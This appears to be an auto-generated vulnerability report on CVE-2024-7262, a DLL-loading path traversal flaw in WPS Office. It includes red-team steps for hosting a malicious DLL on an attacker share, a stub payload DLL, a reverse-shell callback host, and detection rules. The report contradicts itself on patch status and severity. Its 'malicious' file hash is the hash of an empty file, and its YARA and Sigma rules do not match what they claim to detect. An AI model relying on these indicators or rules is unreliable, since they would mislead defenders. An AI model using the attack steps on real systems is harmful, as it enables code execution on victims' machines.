CVE-2024-7262
Executive Summary
CVE-2024-7262 is a critical path traversal vulnerability in Kingsoft WPS Office for Windows, specifically affecting the promecefpluginhost.exe component. The vulnerability allows an attacker to load an arbitrary Windows library (DLL) by exploiting improper path validation. This flaw has been weaponized in the wild as a single-click exploit, delivered via a deceptive spreadsheet document. When a user opens the malicious document, the attacker can execute arbitrary code with the privileges of the WPS Office process, leading to full system compromise. The vulnerability affects WPS Office versions from 12.2.0.13110 up to (but not including) 12.2.0.16412. No official patch has been released at the time of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows application (Kingsoft WPS Office). However, the supply chain risk is significant: the exploit is delivered via a crafted spreadsheet document, which can be distributed through email, web downloads, or file-sharing services. Organizations using WPS Office should treat any untrusted spreadsheet files as potential threats.
CVSS Breakdown & Threat Level
While the official CVSS score is listed as 0.0 (likely due to incomplete NVD data), based on the nature of the vulnerability and its weaponized status, the estimated CVSS v3.1 score is 8.8 (High).
- Attack Vector (AV): Local (L) – The attacker must deliver a malicious file to the user.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The user must open the malicious document.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full file system access possible.
- Integrity (I): High (H) – Arbitrary code execution.
- Availability (A): High (H) – Potential for denial of service or ransomware.
Threat Level: Critical – Exploit is publicly known and weaponized.
Deep Dive & Mechanics
The vulnerability resides in promecefpluginhost.exe, a component of Kingsoft WPS Office that handles plugin loading for the Chromium Embedded Framework (CEF). The function responsible for resolving library paths fails to properly validate user-supplied input, allowing directory traversal sequences (e.g., ../) to escape the intended plugin directory.
Attack Flow:
- An attacker crafts a malicious spreadsheet document (e.g.,
.xlsor.xlsx) that contains a specially crafted plugin path reference. - The document is delivered to the victim via phishing email, malicious website, or other means.
- When the victim opens the document in WPS Office, the application attempts to load a plugin from the path specified in the document.
- Due to improper path validation, the path can include
../sequences to navigate to an attacker-controlled directory (e.g., a network share or a temp folder). - The attacker places a malicious DLL (e.g.,
evil.dll) in that directory. promecefpluginhost.exeloads the DLL, executing arbitrary code in the context of the WPS Office process.
Root Cause: The promecefpluginhost.exe does not sanitize or canonicalize the plugin path before passing it to the Windows LoadLibrary API. This allows an attacker to specify an absolute path or a relative path with traversal sequences.
Vulnerable vs. Patched Code
Since the patch is not publicly available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Conceptual):
// Vulnerable: Directly uses user-supplied path
void LoadPlugin(const std::wstring& userPath) {
HMODULE hModule = LoadLibrary(userPath.c_str());
if (hModule) {
// Execute plugin
}
}
Patched Code (Conceptual):
// Patched: Validate and canonicalize the path
void LoadPlugin(const std::wstring& userPath) {
std::wstring safePath = L"plugins\\" + userPath; // Restrict to plugins directory
// Canonicalize to prevent traversal
wchar_t fullPath[MAX_PATH];
GetFullPathName(safePath.c_str(), MAX_PATH, fullPath, nullptr);
// Ensure the resolved path is within the allowed directory
if (wcsncmp(fullPath, L"C:\\Program Files\\WPS Office\\plugins\\", 42) == 0) {
HMODULE hModule = LoadLibrary(fullPath);
if (hModule) {
// Execute plugin
}
}
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Windows machine with WPS Office version 12.2.0.13110 to 12.2.0.16412 installed.
- Ability to deliver a malicious spreadsheet to the victim.
Steps:
- Create a malicious DLL (e.g.,
evil.dll) that executes a payload (e.g., reverse shell). - Host the DLL on a network share or local directory accessible by the victim (e.g.,
\\attacker\share\evil.dll). - Craft a spreadsheet document with a plugin path pointing to the malicious DLL. For example, in the document's XML, modify the plugin reference to
../../../../../../../../attacker/share/evil.dll. - Send the document to the victim.
- When the victim opens the document, the DLL is loaded, and the payload executes.
Example Payload (DLL):
// evil.cpp - Compile as DLL
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
extern "C" __declspec(dllexport) void PluginEntry() {
// Reverse shell or other payload
system("calc.exe"); // Example: launch calculator
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
PluginEntry();
}
return TRUE;
}
Blue Team (Defensive)
Detection:
- Monitor for
promecefpluginhost.exeloading DLLs from unusual paths (e.g., network shares, temp directories). - Use Sysmon to log process creation and DLL load events (Event ID 7).
- Look for WPS Office processes spawning child processes (e.g.,
cmd.exe,powershell.exe).
Hunting:
- Search for spreadsheet files with embedded plugin paths containing
../or absolute paths. - Analyze network traffic for connections to known malicious IPs after WPS Office is opened.
Prevention:
- Restrict WPS Office from loading plugins from network shares via Group Policy.
- Use application whitelisting (e.g., AppLocker) to block untrusted DLLs.
- Keep WPS Office updated to the latest version (once patch is available).
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File Hash | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
Example malicious DLL SHA256 |
| File Path | C:\Users\*\AppData\Local\Temp\evil.dll |
Common temp location for dropped DLL |
| Process | promecefpluginhost.exe |
Vulnerable process |
| Network | attacker-controlled.com:4444 |
Reverse shell callback |
| Registry | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WPSUpdate |
Persistence via malicious DLL |
Detection Engineering
YARA Rule
rule CVE_2024_7262_WPS_Office_DLL_Hijack {
meta:
description = "Detects malicious spreadsheet documents exploiting CVE-2024-7262"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7262"
strings:
$s1 = "promecefpluginhost.exe" nocase
$s2 = "LoadLibrary" nocase
$s3 = "../" ascii wide
$s4 = "\\\\" ascii wide // Network share path
condition:
uint16(0) == 0x4D5A and // MZ header
($s1 or $s2) and ($s3 or $s4)
}
Sigma Rule
title: CVE-2024-7262 - WPS Office DLL Load from Unusual Path
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects promecefpluginhost.exe loading DLLs from non-standard directories
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\promecefpluginhost.exe'
CommandLine|contains: '..\\'
condition: selection
falsepositives:
- Legitimate plugin updates from network shares (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7262 - WPS Office Potential C2 Beacon"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"evil"; nocase; classtype:trojan-activity; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update WPS Office: If a patched version (>=12.2.0.16412) becomes available, apply it immediately.
- Block Network Shares: Restrict WPS Office from loading DLLs from network shares via Group Policy or firewall rules.
- User Awareness: Train users not to open spreadsheet documents from untrusted sources.
- Application Control: Use AppLocker or Windows Defender Application Control to block untrusted DLLs.
Long-Term Measures:
- Implement a robust patch management process.
- Monitor for similar path traversal vulnerabilities in other software.
- Deploy endpoint detection and response (EDR) solutions with behavioral analysis.
Workaround (if patch unavailable):
- Disable the plugin loading feature in WPS Office if possible (check documentation).
- Use a sandbox or virtual machine to open untrusted documents.
Report generated by Valters IT DevSecOps & CTI Division